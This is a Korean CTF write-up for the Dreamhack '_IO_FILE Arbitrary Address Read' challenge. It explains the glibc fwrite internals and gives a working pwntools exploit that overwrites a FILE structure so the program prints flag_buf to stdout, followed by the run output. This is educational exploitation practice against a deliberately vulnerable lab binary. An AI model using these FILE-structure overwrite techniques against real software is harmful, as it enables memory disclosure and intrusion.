[dreamhack] _IO_FILE Arbitrary Address Read writeup

1. 문제

thumbnail
_IO_FILE Arbitrary Address Read

Exploit Tech: _IO_FILE Arbitrary Address Read에서 실습하는 문제입니다.

https://dreamhack.io/wargame/challenges/366

2. 풀이


#include <stdio.h>
#include <unistd.h>
#include <string.h>

char flag_buf[1024];
FILE *fp;

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int read_flag() {
    FILE *fp;
    fp = fopen("./flag", "r");
    //fp = fopen("/home/iofile_aar/flag", "r");
    fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);
    fclose(fp);
}

int main() {
  const char *data = "TEST FILE!";

  init();
  read_flag();

  fp = fopen("/tmp/testfile", "w");

  printf("Data: ");

  read(0, fp, 300);

  fwrite(data, sizeof(char), sizeof(flag_buf), fp);
  fclose(fp);
}

fp 구조체를 덮어씌울 수 있는 취약점이 존재하는 코드이다. 이를 통해 임의의 주소에 원하는 값을 쓸 수 있다.

관련해서 이전에 풀었던 _IO_FILE Arbitrary Address Write 문제를 참고하였다.

thumbnail
_IO_FILE Arbitrary Address Write writeup

https://jjblog.duckdns.org/ctf%20writeup/2025/07/04/dreamhack-_IO_FILE-Arbitrary-Address-Write.html

fp 구조체를 덮어씌워서 fwrite함수가 실행될 때 flag_buf 변수에 있는 내용을 stdout으로 출력하도록 해야한다.

그러기 위해서는 어떻게 덮을지를 알아봐야한다.

2.1. fwrite 함수

fwrite함수는 라이브러리 내부에서 _IO_file_xsputn 함수를 호출하는데 이는 실질적으로 _IO_new_file_xsputn 함수를 실행한다.

#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
  ...
  if (to_do + must_flush > 0)
    {
      _IO_size_t block_size, do_write;
      /* Next flush the (full) buffer. */
      if (_IO_OVERFLOW (f, EOF) == EOF)

여기서 datan 변수를 검사하고 _IO_OVERFLOW 함수를 호출하는데 이 함수는 실질적으로 _IO_new_file_overflow 함수를 호출한다.

int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
  {
    f->_flags |= _IO_ERR_SEEN;
    __set_errno (EBADF);
    return EOF;
  }
  ...
  if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
             f->_IO_write_ptr - f->_IO_write_base);
}

int
_IO_new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  return (to_do == 0
      || (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)

_IO_new_file_overflow 함수는 _flags 변수를 확인하고, _IO_do_write 함수를 호출하는데, 이는 실질적으로 _IO_new_do_write 함수이다.

이때 활용되는 필드가 _IO_write_base, _IO_write_ptr이다. 그리고 이 함수 내에서는 new_do_write 함수를 다시 호출한다.

#define _IO_SYSWRITE(FP, DATA, LEN) JUMP2 (__write, FP, DATA, LEN)
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  _IO_size_t count;
  if (fp->_flags & _IO_IS_APPENDING)
    /* On a system without a proper O_APPEND implementation,
       you would need to sys_seek(0, SEEK_END) here, but is
       not needed nor desirable for Unix- or Posix-like systems.
       Instead, just indicate that offset (before and after) is
       unpredictable. */
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {
      _IO_off64_t new_pos
    = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
    return 0;
      fp->_offset = new_pos;
    }
  count = _IO_SYSWRITE (fp, data, to_do);
  if (fp->_cur_column && count)
    fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
  fp->_IO_write_end = (fp->_mode <= 0
               && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
               ? fp->_IO_buf_base : fp->_IO_buf_end);
  return count;
}

이 함수에서는 _flags 변수를 확인하고, _IO_read_end 변수와 _IO_write_base 변수가 같은지 확인한 후 (같지않으면 _IO_SYSSEEK (lseek 시스템콜)이 호출된다), _IO_SYSWRITE, 즉 write 시스템콜을 호출한다.

따라서 _IO_read_end 변수와 _IO_write_base 변수를 같게하고, _IO_write_ptr에는 출력할 길이만큼 _IO_write_base에 들어가는 내용에 더해주면 된다.

그리고 소스코드에서 fd로 사용되고 있는 datastdout으로 변경해주기 위해서 _fileno 변수를 1로 변경해준다.

_flags 변수는 0xfbad0800으로 설정해준다.

from pwn import *

p = process("./iofile_aar")
#p = remote("host8.dreamhack.games", 14451)
elf = ELF("./iofile_aar")

fake_iofile = p64(0xfbad0800)    # _flags
fake_iofile += p64(0)   # _IO_read_ptr
fake_iofile += p64(elf.symbols["flag_buf"])   # _IO_read_end
fake_iofile += p64(0)   # _IO_read_base
fake_iofile += p64(elf.symbols["flag_buf"])   # _IO_write_base
fake_iofile += p64(elf.symbols["flag_buf"] + 1024)   # _IO_write_ptr
fake_iofile += p64(0)   # _IO_write_end
fake_iofile += p64(0)   # _IO_buf_base
fake_iofile += p64(0)   # _IO_buf_end
fake_iofile += p64(0)   # _IO_save_base
fake_iofile += p64(0)   # _IO_backup_base
fake_iofile += p64(0)   # _IO_save_end
fake_iofile += p64(0)   # _IO_marker *_markers
fake_iofile += p64(0)   # _IO_FILE *_chain
fake_iofile += p64(1)   # _fileno

p.sendafter(b"Data: ", fake_iofile)

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level3/_IO_FILE_Arbitrary_Address_Read$ python3 e_iofile_aar.py 
[+] Starting local process './iofile_aar': pid 3114842
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level3/_IO_FILE_Arbitrary_Address_Read/iofile_aar'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[*] Switching to interactive mode
[*] Process './iofile_aar' stopped with exit code 0 (pid 3114842)
DH{**flag**}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 (생략)

주의점은 주어진 바이너리에서 flag파일을 열 때 fopen("/home/iofile_aar/flag", "r"); 이런 위치에서 열려고 시도하는데, 로컬에서는 그런 위치가 없기 때문에 도커를 사용하거나 제대로 열 수 있게 아예 소스코드를 수정해서 컴파일을 다시 한 바이너리를 사용해야 오류가 없다. 그리고 이렇게 다시 컴파일했을 때는 flag_buf 변수의 위치가 변경되기 때문에 기존 바이너리 기준으로 다시 찾아야한다.

별개로 _IO_FILE 구조체 덮어쓰는거 너무 어렵다… 이렇게 대놓고 취약점을 주는데도 어려운데 점점 어려워지는듯… 어떤 필드를 어떻게 덮어야하는지를 잘 찾는게 중요할 것 같다.

해결~